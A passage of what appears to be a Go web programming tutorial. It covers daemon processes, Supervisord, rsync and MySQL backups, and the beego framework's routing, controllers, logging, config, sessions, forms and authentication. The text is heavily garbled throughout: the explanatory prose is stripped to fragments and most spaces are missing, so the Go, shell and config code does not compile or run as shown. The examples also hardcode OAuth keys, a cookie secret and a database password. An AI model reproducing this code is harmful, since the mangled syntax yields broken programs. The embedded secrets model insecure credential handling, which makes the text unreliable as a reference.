funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//
t,_=t.ParseFiles("tmpl/error.html",nil)//
ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
try..catchGopanicnet.ConnWritepanic
panicx[j]jpanicpanicgoroutinepanicGopanicuidUserusernameuidrecoverrecover
funcGetUser(uidint)(usernamestring){
deferfunc(){ifx:=recover();x!=nil{username=""}}()
username=User[uid]return}
packagepanicpanicrecoverpackage
WebGo
links
::
12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord
daemon
GodaemonGobug: `http://code.google.com/p/go/issues/detail?id=227`fork
daemon2
MarGoCommand
d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}
syscall
packagemain
import("log""os""syscall")
funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr
darwin:=syscall.OS=="darwin"
//alreadyadaemonifsyscall.Getppid()==1{return0}
//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}
//failureifret2<0{os.Exit(-1)}
//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}
//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}
/*Changethefilemodemask*/_=syscall.Umask(0)
//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}
ifnochdir==0{os.Chdir("/")}
ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}
return0}
Godaemondaemonskynetdaemon
Supervisord
Godaemonsupervisorddaemon
SupervisordSupervisordOSSupervisord100000Supervisord10241024OS
Supervisord
Supervisordsudoeasy_installsupervisorSupervisordsetup.pyinstall
easy_installsetuptools
http://pypi.python.org/pypi/setuptools#filespythonshsetuptoolsxxxx.eggeasy_installSupervisord
Supervisord
Supervisord/etc/supervisord.conf
;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root
[inet_http_server]#Webport=9001username=adminpassword=yourpassword
[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock
[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)
[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main
_rpcinterface
;program[program:blogdemon]command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log
Supervisord
Supervisordsupervisorsupervisorctl2
supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload
GodaemonGodaemondaemonpythonSupervisordSupervisordGo
links
::
12.4OSMysqlredis/
Web
rsyncrsyncwindowswindowscwrsync
rsync
rsync http://rsync.samba.org/rsyncLinux
#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm
Linux
tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc
rsync
rsync3rsyncd.conf()rsyncd.secrets()rsyncd.motd(rsync)
rsync
#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf
--daemonrsyncrsync
echo'rsync--daemon'>>/etc/rc.d/rc.local
rsync
echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets
rsync-avzP--delete--password-file=rsyncd.secrets@192.168.145.5::www/var/rsync/backup
i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secrets
croniv. ""/etc/rsyncd.secretsv. 192.168.145.5IP
vi. ::wwwwww/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]
crontabrsync
MySQL
MySQLMySQLmaster/slave(master/slave)master/slave
shellrsync
mysqlmysqldump
#!/bin/bash
#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")
backup_location=/var/www/mysql#"/"
expire_backup_delete="ON"#ONOFFexpire_days=3#3expire_backup_delete
#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#
#MYSQLmysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];then
echo"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi
#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';exitend
flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#
if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"
fi
doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi
#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi
shell
chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh
crontab00:00/var/www/mysqlrsync
0000***/root/mysql_backup.sh
MySQL
MySQLslave
SQL
mysql-uusername-pdatabse<backup.sql
redis
redisNoSQLredismaster/slaveredisrsync
redis
redisMySQL
redisredisredisOKredis
rsyncMySQLredis
links
::
12.5Web
404()
links
: 12:
13.1
gopath
gopathGOPATHGOPATHwindowlinux/MacOSexportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow
ModelViewGoRSS""GotemplateViewControllerHTTP
:
13.3
1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web
|——main.go|——conf|——controllers|——models|——utils
|——static|——views
REST
GOPATHMVC
links
::
13.2
HTTP
HTTPHTTP(struct)
(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)
()
3.4GohttpGohttp
funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}
http.Handle("/foo",fooHandler)
http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})
log.Fatal(http.ListenAndServe(":8080",nil))
httpDefaultServeMuxURL(r.URL.Path)
Go http.Handlehttp.HandleFuncDefaultServeMux.Handle(patternstring,handlerHandler)mapmap[string]muxEntity`
GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL
fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)h=v.h}}
beego
WebhttpGo
/user/:uidREST/fooGETPOSTDELETEHEADAPI30struct
beegoRESTGo
23RESTstructstructmethod
controllerInfo(structreflect.Type)ControllerRegistor(routersslice)
typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}
typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}
ControllerRegistor
func(p*ControllerRegistor)Add(patternstring,cControllerInterface)
func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")
j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"
//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’
ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}
//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex
pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{
//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}
//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t
p.routers=append(p.routers,route)
}
GohttpFileServerbeegoStaticDirStaticDirmap
func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}
beego.SetStaticPath("/img","/static/img")
ControllerRegistor
//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}
}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path
//findamatchingRoutefor_,route:=rangep.routers{
//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}
//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)
//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}
params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match}
//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")
in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")method.Call(in)started=truebreak}
//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}
beego.BeeApp.RegisterController("/",&controllers.MainController{})
beego.BeeApp.RegisterController("/:param",&controllers.UserController{})
beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})
links
:: controller
13.3controllerMVCActionwebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb"Hello,world"
controller
MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewController
beego REST
structstructRESTcontrollerstructinterface
typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}
typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETEPut()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}
addControllerInterfaceContoroller
func(c*Controller)Init(ct*Context,cnstring){
c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}
func(c*Controller)Prepare(){
}
func(c*Controller)Finish(){
}
func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Render()error{iflen(c.Layout)>0{
varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}
func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}
controllerurlcontroller
Init()Prepare()method()methodGETPOSTPUTHEAD403Render()AutoRender
Finish()
beegocontroller
packagecontrollers
import("github.com/astaxie/beego")
typeMainControllerstruct{beego.Controller}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.TplNames="index.tpl"}
MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender
index.tpl
<!DOCTYPEhtml><html><head>
<title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>
links
::
13.4
seeloglevellevellevel
beego
beegoseeloglevelbeegolog.Loggeros.Stdoutbeego.SetLoggr
//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical
)
//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace
//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}
//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}
TraceSetLevel
//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)
//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}
//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}
//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}
//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{
BeeLogger.Printf("[I]%v\n",v)}}
//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}
//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}
//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}
BeeLoggeros.Stdoutbeego.SetLoggerlogger
Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"
Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"
Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"
Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"
Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"
Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"
levellevel=LevelWarningTraceDebugInfo
beego
beegokey=valueinimapstringint
ini
var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})
//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.
datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}
key=value
//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}
cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defercfg.Unlock()deferfile.Close()
varcommentbytes.Bufferbuf:=bufio.NewReader(file)
fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}
off+=int64(len(line))
ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)
comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}
val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}
key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}
boolintfloat64string
//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}
//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}
//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}
//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]
}
urljson
funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}}
beego.Critical beego.AppConfig.String("url")(app.conf)
appname=hsurl="http://www.api.com/api.html"
links
: controller: //
13.5 / /
beegobeego
/main.go/views:/view.tpl/new.tpl/layout.tpl/index.tpl/edit.tpl/models/model.go/controllers:/index.go/view.go/new.go/delete.go/edit.go
//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})
CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));
IndexController:
typeIndexControllerstruct{beego.Controller}
func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}
ViewController:
typeViewControllerstruct{beego.Controller}
func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"
}
NewController
typeNewControllerstruct{beego.Controller}
func(this*NewController)Get(){this.Layout="layout.tpl"this.TplNames="new.tpl"}
func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
EditController
typeEditControllerstruct{beego.Controller}
func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}
func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")
blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
DeleteController
typeDeleteControllerstruct{beego.Controller}
func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}
model
packagemodels
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")
typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}
funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")
iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}
funcGetAll()(blogs[]Blog){db:=GetLink()db.FindAll(&blogs)return}
funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}
funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}
funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}
view
layout.tpl
<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;
}</style></head><body>
<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li></ul>
{{.LayoutContent}}
</body></html>
index.tpl
<h1>Blogposts</h1>
<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>
view.tpl
<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br>
<textareaname="content"colspan="3"rowspan="10"></textarea><inputtype="submit"></form>
edit.tpl
<h1>Edit{{.Post.Title}}</h1>
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br>
<textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>
links
::
13.6GoGohttpMVCControllercontrollerRESTtornadelayoutGobeegogithubbeego
links
: //: Web
14Web13WebMVCWebWeb1twitterbootstrapsession3model4httpbascihttpdigest5i18n
beegoWeb13beego
links
: 13:
14.1beegotwitterhtmlcssbootstrap
beego
Gonet/http ServeFileFileServerbeego
//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}
StaticDirurlURLurlhttp.ServeFile
beego.StaticDir["/asset"]="/static"
urlhttp://www.beego.me/asset/bootstrap.css /static/bootstrap.css
bootstrap
BootstrapTwitterBootstrapWebCSSHTMLHTML5Web
BootstrapWeb
Javascript Bootstrap13jQueryBootstrap""
BootstrapCSS
14.1bootstrap
bootstrapbeego
1. bootstrapstatic
14.2
2. beegoStaticDirstatic
StaticDir["/static"]="static"
3. OK
//css<linkhref="/static/css/bootstrap.css"rel="stylesheet">
//js<scriptsrc="/static/js/bootstrap-transition.js"></script>
//<imgsrc="/static/img/logo.png">
bootstrapbeego
14.3bootstrap
bootstrapbootstrap
links
: Web: Session
14.2Session6GosessionsessionMangerbeegosessionManager
session
beegosession
//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory
SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies
GlobalSessions*session.Manager//session
ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val
}else{SessionGCMaxLifetime=3600}
beego.Run
ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}
SessionOntruesessiongoroutinesession
Controllersession beego.Controller
func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}
session
beegosession
mainsession
beego.SessionOn=true
session
func(this*MainController)Get(){varintcountint
sess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.Data["Count"]=intcountthis.TplNames="index.tpl"}
session
1. session
//PHPsession_start()sess:=this.StartSession()
2. sessionsession
//sessionPHP $_SESSION["count"}sess.Get("count")
//sessionsess.Set("count",intcount)
beegosessionPHP session_start()
links
:
:
14.3Web
HTML
Gostructbeegoformstruct
Webstructformstructtag
typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}
structcontroller
func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}
<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>
1struct
func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}
form
text No textbox
button No
checkbox No
dropdown No
file No
hidden No hidden
password No
radio No
textarea No
required No FALSE
matches Yes FALSE matches[form_item]
is_unique Yes
Falseis_unique[User.Email]UserEmailfalseCallback
is_unique[table.field]
min_length Yes FALSE min_length[6]
max_length Yes FALSE max_length[12]
exact_length Yes FALSE exact_length[8]
greater_than Yes FALSE greater_than[8]
less_than Yes FALSE less_than[8]
alpha No FALSE
alpha_numeric No FALSE
alpha_dash No ///FALSE
numeric No FALSE
integer No FALSE
decimal Yes FALSE
is_natural No 0FALSE0,1,2,3....
is_natural_no_zero No 0FALSE01,2,3.....
valid_email No emailFALSE
valid_emails No emailFALSE
valid_ip No IPFALSE
valid_base64 No base64FALSE
links
: Session:
14.4Web
HTTPBasicHTTPDigestQQweibodoubianOPENIDgooglegithubfacebooktwittersessioncookie
beegobeego
HTTPBasic HTTPDigest
github.com/abbot/go-http-auth
beego
packagecontrollers
import("github.com/abbot/go-http-auth""github.com/astaxie/beego")
funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}
typeMainControllerstruct{beego.Controller}
func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="astaxie@gmail.com"this.TplNames="index.tpl"}
beegopreparehttpauthdigest
oauth oauth2
oauthoauth2QQweibo
github.com/bradrydzewski/go.auth
beegooauthgithub
1. 2
beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})
2. GithubController
packagecontrollers
import("github.com/astaxie/beego"
"github.com/bradrydzewski/go.auth")
const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")
typeGithubControllerstruct{beego.Controller}
func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
githubHandler:=auth.Github(githubClientKey,githubSecretKey)
